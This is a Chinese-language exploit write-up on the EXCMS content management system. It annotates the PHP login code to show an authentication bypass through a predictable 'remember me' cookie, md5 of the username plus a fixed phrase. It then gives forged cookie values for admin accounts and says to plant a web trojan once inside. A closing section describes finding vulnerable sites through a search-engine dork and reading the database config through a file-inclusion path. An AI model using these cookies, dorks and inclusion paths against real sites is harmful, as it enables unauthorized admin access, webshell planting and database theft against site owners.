簡述
黑客可以訪問卓越內容管理系統中的任意檔案,包括包含資料庫的連線賬號。通過這些數據黑客就有可能對整個網站內容進行刪除增加等操作,從而影響正常的網站內容。
漏洞分析
發布日期2011-01.18
影響用戶近1億網民
漏洞類型COOKIES欺騙
漏洞描述此漏洞利用修改COOKIES 直接進入後台,自定義頁Getshell。
後台登錄檔案
admin\Modules\Auth\Index.php
<?
if ( defined( "EXCMS" ) ) //在admin/index.php里有了 下面檔案都是包含運行方式的
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['title'] = "登錄"; //標題
$forward = $_GET['forward']; //登錄後轉跳的地方
$verifycode = $EXCMS_CONFIG['login_verifycode']; //驗證碼。。。
if ( $_POST['loginType'] != 1 && !empty( $_COOKIE['EXCMSADMIN'] ) )
//邁下伏筆了!
{
$defaultBoxDisplay = "none";
$BoxDisplay = "";
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
//看到這裡沒? 神奇把?
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//賬號密碼獲取了(COOKIES方式?) 看下去將會發生的事情很驚天地!
$pwdForever = strtoupper( md5( $remeberAdmin." love EXCMS forever" ) );
//這就是中國特色! 作者 你知道良心2個字什麼寫嗎? 你知道什麼叫道德嗎?
$remeberPwd = $remeberPwd == $pwdForever ? true : false;
$loginInputDispay = $remeberPwd ? "none" : "";
$loginType = $remeberPwd ? 3 : 2;
}
else
{
$defaultBoxDisplay = "";
$BoxDisplay = "none";
$loginInputDispay = "none";
$loginType = 1;
}
//下面是輸出登錄界面的
然後是CheckLogin.php 驗證登錄檔案
經典對白 看代碼!
<?
if ( defined( "EXCMS" ) )//index.php有了
{
}
if ( !defined( "EXCMS_ADMIN" ) )
{
exit( "Access Denied" );
}
$excms_action['loadtpl'] = true;
$adminname = Trim( $param['adminname'] );
$password = trim( $param['loginType'] == 2 ? $param['password1'] : $param['password'] );
$rememberPwd = $param['loginType'] == 2 ? $param['savePwd'] : $param['rememberPwd'];
$forward = $param['forward'];
$login_fail = true;
$error = "";
//以上東西不用理 $param都是POST方式的
if ( empty( $adminname ) )
//檢測賬戶是否為空
{
$error = getlangbyname( "EMPTY_ADMINNAME" );
}
else if ( $param['loginType'] != 3 && empty( $password ) )
//檢測這個什麼東西 可能是步驟把 是否第3步和密碼是否是空
{
$error = getlangbyname( "EMPTY_PASSWORD" );
}
else
{
if ( $param['loginType'] == 3 )
{
//以下內容絕非因失誤做成的漏洞 以這個程式編寫技術 沒可能這樣 可以找任何PHP高手鑑證
$remeberInfo = explode( "&", $_COOKIE['EXCMSADMIN'] );
$remeberAdmin = $remeberInfo[0];
$remeberPwd = $remeberInfo[1];
//賬號密碼從COOKIES里獲取!
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
if ( $remeberPwd == $pwdForever )
//COOKIES里的賬號加密過程 比ESPCMS還簡單~~
{
include_once( LIB_PATH."system/Admin.class.php" );
$admin_obj = new Admin( );
$admin = $admin_obj->getByAdminname( $adminname );
//悲劇! 只驗證了管理員賬號 沒有驗證密碼!!!
if ( $admin )
{
$admin['acl'] = $admin_obj->getAdminACL( $admin['adminid'] );
$_SESSION['admininfo'] = $admin;
//獲得管理員許可權了!!!!!!!!!
++$_SESSION['admininfo']['logintimes'];
$admin_obj->updateLastLogin( $admin['adminid'] );
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$auth->checkMenu( true );
$excms_action['loadtpl'] = false;
$login_fail = false;
}
}
}
else
//跳過沒有COKIES 下面就是真正的驗證登錄狀態 請注意 是有驗證密碼的!
{
if ( $EXCMS['config']['login_verifycode'] )
{
$param['verifycode'] = trim( $param['verifycode'] );
if ( $param['verifycode'] == "" )
{
$error = getlangbyname( "EMPTY_VERIFYCODE" );
}
else
{
include_once( LIB_PATH."util/CheckCode.class.php" );
$checkcode = new CheckCode( );
if ( !$checkcode->check( $param['verifycode'] ) )
{
$error = getlangbyname( "VERIFYCODE_FAILED" );
}
}
}
if ( empty( $error ) )
{
include_once( LIB_PATH."auth/Auth.class.php" );
$auth = new Auth( );
$loginMsg = $auth->Login( $adminname, $password );
if ( $loginMsg['success'] )
{
$_SESSION['admininfo'] = $loginMsg['admininfo'];
++$_SESSION['admininfo']['logintimes'];
$auth->checkMenu( true );
if ( $rememberPwd == 1 )
{
$pwdForever = strtoupper( md5( $adminname." love EXCMS forever" ) );
setcookie( "EXCMSADMIN", $adminname."&".$pwdForever, time( ) + 2592000 );
}
else if ( $param['loginType'] != 2 && $param['rememberMe'] == 1 )
{
setcookie( "EXCMSADMIN", $adminname, time( ) + 2592000 );
}
$login_fail = false;
$excms_action['loadtpl'] = false;
}
else
{
$error = getlangbyname( $loginMsg['message'] );
}
}
}
}
if ( !$login_fail )
{
if ( empty( $forward ) || strpos( $forward, "index.php?M=Auth" ) )
{
header( "Location:index.php", true );
exit( );
}
header( "Location:".$forward, true );
exit( );
}
$errorCls = "f";
if ( $excms_action['loadtpl'] )
{
if ( !$error )
{
$error = getlangbyname( "LOGIN_FAILED" );
}
require( MODULES_PATH."Auth/Index.php" );
}
?>
//分析完畢
最後給出EXP
EXCMSADMIN=admin%26858A611C5651AC436D4450CE23A858D1;
EXCMSADMIN=administrator%263E0331271F1133F9613BD49E7C4FB0CD;
第1個是admin
第2個是administrator 一般 就這2個 其他賬號的話請自行結構
結構方法 setcookie( "EXCMSADMIN", md5( 賬號." love EXCMS forever" ) );
修改COOKIES 直接進入後台 然後自定義頁面 寫入網馬
後語 這個COOKIES“漏洞”並非是記住管理登錄狀態,記住管理登錄的COOKIES是 SESSION ID 驗證這個
所以這個漏洞100%是作者留下的後門!
EXCMS漏洞利用方法
先在搜尋引擎中搜尋“Powered by EXCMS 2011”,搜尋到的網站都含有漏洞,隨意挑選一個作為目標,在域名後輸入“apps/include.php?file=sitedata/config.inc.php”,回車,出現一個空白頁,右鍵,查看源檔案,這樣,網站的MySQL資料庫就暴露了……
接著,用工具navicat for MySQL進行資料庫連線……接下來就是破解了……不解釋……